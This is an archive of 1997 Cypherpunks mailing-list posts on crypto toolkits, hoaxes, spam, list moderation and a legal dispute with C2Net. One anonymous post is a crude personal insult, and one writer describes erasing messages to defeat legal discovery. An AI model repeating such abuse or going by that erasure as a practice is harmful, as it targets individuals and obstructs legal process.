Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rsaeuro@sourcery.demon.co.uk (RSAEuro General)
Date: Sun, 16 Feb 1997 10:16:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro
Message-ID: <33134fe4.13867320@sourcery>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.sourcery.demon.co.uk/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@sourcery.demon.co.uk', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@sourcery.demon.co.uk'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@sourcery.demon.co.uk
RSAEURO Bugs: rsaeuro-bugs@sourcery.demon.co.uk
Tel:          +44 (0) 468 286034
Http:         http://www.sourcery.demon.co.uk/rsaann.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996.
----------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Kuethe 1024 <ckuethe@gpu.srv.ualberta.ca>
Date: Sun, 16 Feb 1997 17:23:08 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: Questions about Naughty Robot (fwd)
In-Reply-To: <199702162241.OAA04951@toad.com>
Message-ID: <Pine.A32.3.93.970216182051.52742A-100000@gpu2.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Genocide wrote:

> 
> 	I got this message (on a system that I am webmaster on) regarding
> something that sounded so stupid it made me chuckle...Naughty Robot...I
> have enclosed the message below.  If any of you have any idea what this
> user is talking about, any info would be appreciated.
> 
> 	Personally it sounds like another "GoodTimes Virus" again...
> 
> Genocide
> Head of the Genocide2600 Group

It is another fake... this is what my ISP's sysadmin sent me about it...

----Begin Fwd Message----
Subject: 
          NaughtyRobot - DON'T PANIC! 
     Date: 
          Sun, 16 Feb 1997 15:10:38 -0700 
    From: 
          owner-all-users
Reply-To: 
          Zbigniew Indelak <zeebee@superiway.net>


You may receive (or may have already received) a message that looks like
if it was sent from your own account with the subject line "security
breached by NaughtyRobot".  In the message, you will most likely be told
that all of your personal information has been accessed by NaughtyRobot
and that you should contact the police, disconnect your phone line, cut
up your credit cards and report them as stolen, etc, etc.  DON'T PANIC!
It's just a bad joke someone is playing on you.  For more information on
this issue, read the article at

http://www.rah96.com/rah96/naughtyr.shtml

--
Zbigniew Indelak (ZeeBee)       | mailto:zeebee@superiway.net
Network Operations Manager      | http://www.superiway.net
Super i-Way Internet Services   | Tel: (403)413-9465


--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
   'finger -l ckuethe@gpu.srv.ualberta.ca' for pgp keys
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 15:37:17 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: More on digital postage
Message-ID: <199702162336.SAA28881@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote:

> At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote:
> 
> >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put
> >out rules limiting the time of day, etc. for phone spam (voice or
> >fax).  Does anyone out there have the specifics of the CRTC regs?
> 
> "Spam" has rapidly become one of those overused, overloaded, meaningless
> words. Everything bad on the Net these days is labelled "spam."
> 
> For the phone example in Canada, just what is "spam"?
>
> -- Is it the semi-traditional definition of "spam," i.e., a phone call made
> to thousands of sites? (At the same time? Sequentially? How?)
> 
> -- Is it a robo-dialer, with no human at the other end?
> 
> -- Or is it merely an "unwanted phone call"?

I used "spam" to mean scripted commercial solicitations, by a human
or robot, based on a list of names and numbers.  I'm not sure whether
this is the same definition as in the legislation. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)
> 
> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

My understanding is that the legislation restricts commercial 
solicitations by phone to:

- certain times of day (not after 9 PM? unsure)
- one initial call, and no follow-ups if the person explicitly asks
the caller to never phone this number again (again, unsure of legal
details)

I don't consider this scenario overly restrictive, since it gives
_them_ a chance to sell their product, and _me_ a chance to have them
delete my name from their database.  Unfortunately, without some
formal means of redress, very few telemarketers seem to remember that
they are unlikely to find new customers if they call at 7 AM Saturday
for the third time this month.

What means of redress would you suggest, in the absence of
legislation / fines, to someone who has been called repeatedly by a
telemarketer?  This person is not a current customer and so cannot
withdraw his/her business.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Feb 1997 18:55:36 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The EFF
In-Reply-To: <Pine.LNX.3.95.970216113732.2356J-100000@dhp.com>
Message-ID: <3307C883.2E0F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 15 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > Timothy C. May wrote:
> > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

> > > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > > the Bay Area, teaching them how to give their money away to 'good'
> > > causes. I believe that one of the prime considerations in separating
> > > the 'good' causes from the 'bad' causes has something to do with the
> > > the proper wine being served with the cheese and cracker offerings
> > > during their cocktail parties.

> > Wine and cheese are the key.  You hit that one on the head.  I tried
> > those Mensa parties in Beverly Hills a few times, but the girls want
> > you to kiss their hands like some kinda princesses or something,
> > whereas I think a simple handshake would suffice.  So I just quit
> > going.  Maybe this has something to do with why there are no c-punks
> > meetings in the L.A. area.

> Dale, so you are in mensa?  Did you have to take a test?

I joined in 1986 at the urging of my sort-of lawyer (not a real
lawyer, but much better actually) from Beverly Hills.  He liked the
parties since he was trolling for babes; recent (1986) divorce and all.

Anyway, Mensa was accepting U.S. Military GT scores prior to 1980,
and I scored 153 in 1966, which was the highest at the several posts
I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe).

I gave up on it after a few meetings, since I didn't care for the
parties, and there didn't seem to be any really active/interesting
people there.  There was a "rational sig" I wanted to attend, but
never got around to.  Mensa did put on some good speakers every now
and then, but you could do as well by checking in with the Masons
or the other local civic groups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sun, 16 Feb 1997 19:04:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <tcmay-ya023180001202971203130001@news.znet.net>
Message-ID: <199702170255.SAA00022@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 15 Feb 1997 22:29:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto code published in magazines
Message-ID: <85607455427941@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I'm trying to find instances of crypto code published in computer magazines in 
the last few years.  I know of Blowfish in DDJ, are there cases of more 
mainstream computer mags like Byte publishing crypto code (I know Byte did DES 
in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
replies directly to me, nntp.hks.net seems to have died :-(.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Sun, 16 Feb 1997 17:16:30 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: When and where?
Message-ID: <3.0.32.19970216201759.006a5318@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Friends:

Please post the date when this list will shift to Usenet if that is indeed to
happen. I have not been able to sort out the facts (?) from the speculation,
argument, and gas.

I have requested my ISP to add alt.cypherpunks to the mail server asap.

I don't want to miss a second of the resurrected (or is that born again?)
c'punks.

Thanks.

Alec
 
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Version: 4.5

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AoBwbnqPv8ZQN9MbfaEzt1gjKGMDXHaUM8CCOk0Pt3aPxnd+SsuNVUfZCF7Hg7QS
mE47juLt06M=
=aqD9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Feb 1997 17:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702170131.UAA10584@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May, a product of anal birth, 
appeared with a coathanger through his head.

            _______c___c
           /       /_  _\
          |       ((6)(6))
          (  )_  __\\  //__
          o___n) (nn)\o/(nn)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 17:58:04 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: When and where?
In-Reply-To: <3.0.32.19970216201759.006a5318@smtp1.abraxis.com>
Message-ID: <0n1vgT200YUe051Es0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

camcc@abraxis.com (Alec) writes:
> Please post the date when this list will shift to Usenet if that is indeed to
> happen. I have not been able to sort out the facts (?) from the speculation,
> argument, and gas.
> 
> I have requested my ISP to add alt.cypherpunks to the mail server asap.

I hope you misspelled "news server." alt.cypherpunks (and subgroups)
is a newsgroup.

> I don't want to miss a second of the resurrected (or is that born again?)
> c'punks.

You should join one of the distributed mailing lists (choose the list
admin you like/trust the most). There is supposed to be a gateway
between the mailing list and the newsgroup, but it is not up yet.

Here's the overview:
cypherpunks@toad.com is going away. In its place is a distributed
forum. This forum is currently made up of a network of mailing lists,
which send all their messages to each other. In the future, the
newsgroup alt.cypherpunks will be added to this network (posts to the
newsgroup go to the mailing lists, mail to the lists goes to the
newsgroup). The mailing lists will be faster than the newsgroup, the
newsgroup will probably let you use better filtering tools. Your
choice.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

(Cool, "newsgroup" is the first word in four consecutive lines. I did
not do this on purpose, even.)




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T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
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-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 16 Feb 1997 20:54:30 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: The Science Generations, II
Message-ID: <v02140b01af2d9235a9c6@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Just a short update to our discussions regarding the 'dumbing down' of America.

Although Gilbert appears to have gone out of the business I did find a few
chemistry sets at my local hobby store.  They were certainly a far cry from
the bunsen burner and lab glassware I grew up with, they all appear to use
micro amounts of reagent in pipette tubes.  I doubt they will generate the
excitement we experienced.

BTW, regarding the difficulty in obtaining chemical reagents (unless you're
in a qualified educational program or professionally employed at a large
industrial company), I came across a relatively new company targeting the
amateur scientist, Chemical Resale of Santa Barbara
<http://www.sb.net/wirehead>.  It carries only a limited selection and
prices seem very high (undoubtedly due to his small volume).

Regarding amateur experiments with 'real' rockets, the Fed have passed a
plethora of laws effectively resticting what non-governmental bodies may
investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
173.88. I guess I can't play with matches anymore.  Thank you Congress.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 20:31:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: test 527
Message-ID: <199702170535.VAA13163@songbird.com>
MIME-Version: 1.0
Content-Type: text


test 527

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 19:45:56 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <199702170255.SAA00022@you.got.net>
Message-ID: <199702170341.VAA02034@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Feb 1997 05:07:51 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
In-Reply-To: <199702170255.SAA00022@you.got.net>
Message-ID: <199702171300.HAA05979@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 21:38:24 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: The Science Generations, II
In-Reply-To: <v02140b01af2d9235a9c6@[10.0.2.15]>
Message-ID: <v03007806af2d9e78bf06@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:58 PM -0800 2/16/97, Steve Schear wrote:

>BTW, regarding the difficulty in obtaining chemical reagents (unless you're
>in a qualified educational program or professionally employed at a large
>industrial company), I came across a relatively new company targeting the
>amateur scientist, Chemical Resale of Santa Barbara
><http://www.sb.net/wirehead>.  It carries only a limited selection and
>prices seem very high (undoubtedly due to his small volume).

And as part of the "War on (Some) Drugs," many chemical purchases now
require licenses of various sorts. As a growing number of chemicals are
classified as "precursors" to a growing medicine cabinet full of
mind-altering or reality-enhancing recreational substances, this "chemical
escrow"  is a step in the direction of outlawing all cash commerce.

Some legal scholars are claiming that there is no provision in the
Constitution guaranteeing anonymity of purchases, and, indeed, a growing
number of purchases can no longer be anonymous--guns, explosives, chemicals
of various sorts, etc. How long before _all_ transactions must be recorded,
True Names revealed, etc.?

(I believe this interpretation is incorrect. I believe "due process" means
that a court order, or specific enabling legislation (as for guns) must be
produced. If Alice sells something to Bob, having the government as a third
party is, I think, a violation of the Fourth. However, the "power to
regulate commerce" could be the root password, as national security often
is.)

I'm thinking about these issues because I'm working on a position paper for
Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars
aruing that transactions may have no constitutional expectation of privacy.)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

Nor can you play with knives, by the way. I read rec.knives, and the
explosion of laws about how and where knives may be carried, used, owned,
bought, etc., and what blade shapes are allowed, what lengths are felonies
to possess, etc., is truly mind-numbing. I concluded that I'm committing
misdemeanors in nearly all counties I enter in California, and felonies in
some. All for possessing and/or carrying what I bought legally just a few
years ago.

This is the morass of laws into which we have sunk.

I suspect similar laws--regulating commerce, protecting children, disarming
bad guys, etc.--will be used soon enough on crypto.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Biddell <jba@fl.net.au>
Date: Sun, 16 Feb 1997 03:09:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702160641.WAA26922@toad.com>
Message-ID: <3.0.1.32.19970216220646.006cbc94@fl.net.au>
MIME-Version: 1.0
Content-Type: text/plain


How the hell do I get OFF this list ??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 18 Feb 1997 14:48:06 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: MagicMoney
In-Reply-To: <199702161525.HAA18339@toad.com>
Message-ID: <Pine.3.89.9702162221.C240-0100000@marui>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, hjk wrote:

> I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
> It is just the code (compiling without error), but there is no README or
> documentation at all.Can someone give me a hint,what to do with this
> package? Is there a documentation somesite?

All the documentation that came with my copy is at 

	http://www.unicorn.com/pgp/mm-readme.html

That was enough for me to set it up and play with it a couple of years 
ago.

	Mark "Not Pr0duct Cypher" Grant

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 16 Feb 1997 20:02:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: SSZ Test [No Reply]
Message-ID: <199702170410.WAA05674@einstein>
MIME-Version: 1.0
Content-Type: text



Test Sunday - No Reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 20:06:43 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170406.XAA23365@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 16 Feb 1997, camcc@abraxis.com (Alec) wrote:

> :> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> :> in the from: header. Sure, somebody out there is going to be unhappy with
> :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> :> are bouncing mail to the admin of the site instead of to me.
> :
> For the less computer articulate (me), please rephrase what you just
> said more in the form of basic instructions.

For starters, root is the all-powerful system administrator account on
UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address,
generally used for testing.  A connection to loopback amounts to a
software connection back to the originating host, and e-mail sent to
loopback won't even go out the Ethernet card / modem / whatever.

So, if I put root@127.0.0.1 in the "From:" field of my news reader's
configuration, all of my posts will give this as my e-mail address. 
Depending on the news reader, I may have to set options like "override
default domain name", which would override my service provider's name.

Since many commercial mailer programs ("SpamBots") scan Usenet news posts
for potential target e-mail addresses, these programs will pick up my
phony e-mail address and send their junk to their own system administrator
instead of me :-)

The smarter programs will also scan the bottom of posts for e-mail
addresses in people's signatures (or .sig files).  The "spam-busted"
address described above could be anything that is not a verbatim copy of
my e-mail address, for example:

c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t
cynthb[at]iosphere.net
cynthb@[NOSPAM].iosphere.net

Any reasonably computer-literate human will be able to figure out what my
real address is, but a cut-and-paste by a software robot won't work.

Hope this helps,

Cynthia

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Charset: cp850

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===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 15:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation experiment and moderator liability
Message-ID: <199702162349.XAA00536@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



There appears to be a bit of a hush up surrounding the circumstances
of the pause in the moderation experiment and subsequent change of
moderation policy.

To clear the air, I think it would be kind of nice if the full story
were told, so I'll gather here a history as I understand it.
Information from my archives (those I have), and from asking around in
email.

I realise that some of the actions that I am claiming of participants
in this sequence of events seem hard to believe given their high
reputation capital.  I was myself initially dubious on the strength of
the reputation capital of those being critisized.

However the below is the sequence of events as close as I can
determine.

I welcome being proven wrong on any points.


Events:

1. Dimitri Vulis posted a lot of off topic posts over a period of time

2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 

3. Dimitri challenged John Gilmore to shut him up

4. John unsubscribed Dimitri, and modified majordomo@toad.com to
siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
still post, and presumably read cypherpunks with a different email
address or via an archive.  It was a token unsubscription only.

5. When Dimitri figured out what John had done, he made many posts
denigrating John as a censor

6. Much discussion ensued critisizing John for blocking Dimitri

7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
of sports mailing lists, Hugh Daniels and John cleaned up the mess

8. Followed a long thread on hardening lists against spam attacks

9. John made a post to the list announcing that the list would be
moderated for one month from Jan 11 as an experiment, and included
Sandy Sandfort's proposed moderatation policy and offer to act as
moderator.  It appeared that the moderation experiment was Sandy's
suggestion, and that John had agreed to go along with it.

10. Some discussion both pro and con of moderation, and the technical
, free speech, and legal aspects followed

11. Moderation started Jan 19, the main list became the moderated list

12. Lots of people complained about the moderation, some defended it
Tim May quietly unsubscribed

13. Some people complained about inconsistency in moderation -- some
articles which went to flames were not flamish, but made by posters
with low reputation capital, or were following up to posts which were
flamish.

14. After a while some people commented on Tim's absence, and sent him
mail asking what happened.  Tim posted an article explaining that he
had left because of the imposed moderation without discussion.

15. John followed up with a post defending the moderation experiment,
and arguing for it's popularity (he claimed as evidence the number of
posters who had not taken the trouble to move to the unedited list).

16. Dimitri posted an article where he claimed that there was a
security flaw in Stronghold.  Stronghold is C2Nets commercial version
of the freeware Apache SSL web server.  Sandy is employed by C2Net.

17. Sandy dropped the posting entirely -- it went to neither
cypherpunks (edited), nor cypherpunks-flames.  He considered that
forwarding the posting would have made him legally liable.  Sandy is a
lawyer by profession.  He did not explain this situation on the list.

18. Tim May had by now subscribed to cypherpunks-flames, and posted
several follow-ups to Dimitri's posting, discussing the issue of
Dimitri's post being dropped, and stated that Dimitri's posting was
not flamish, and should not have been dropped in his opinion.  Tim's
postings were also silently dropped, going to neither of cypherpunks
(edited), and cypherpunks-flames.

19. Sandy made an announcement that he was ending his participation in
the moderation experiment.  Still no explanation of why posts were
dropped, or even admission that they were.

20. The two moderated cypherpunks lists (cypherpunks and
cypherpunks-flames) went dead for some time.

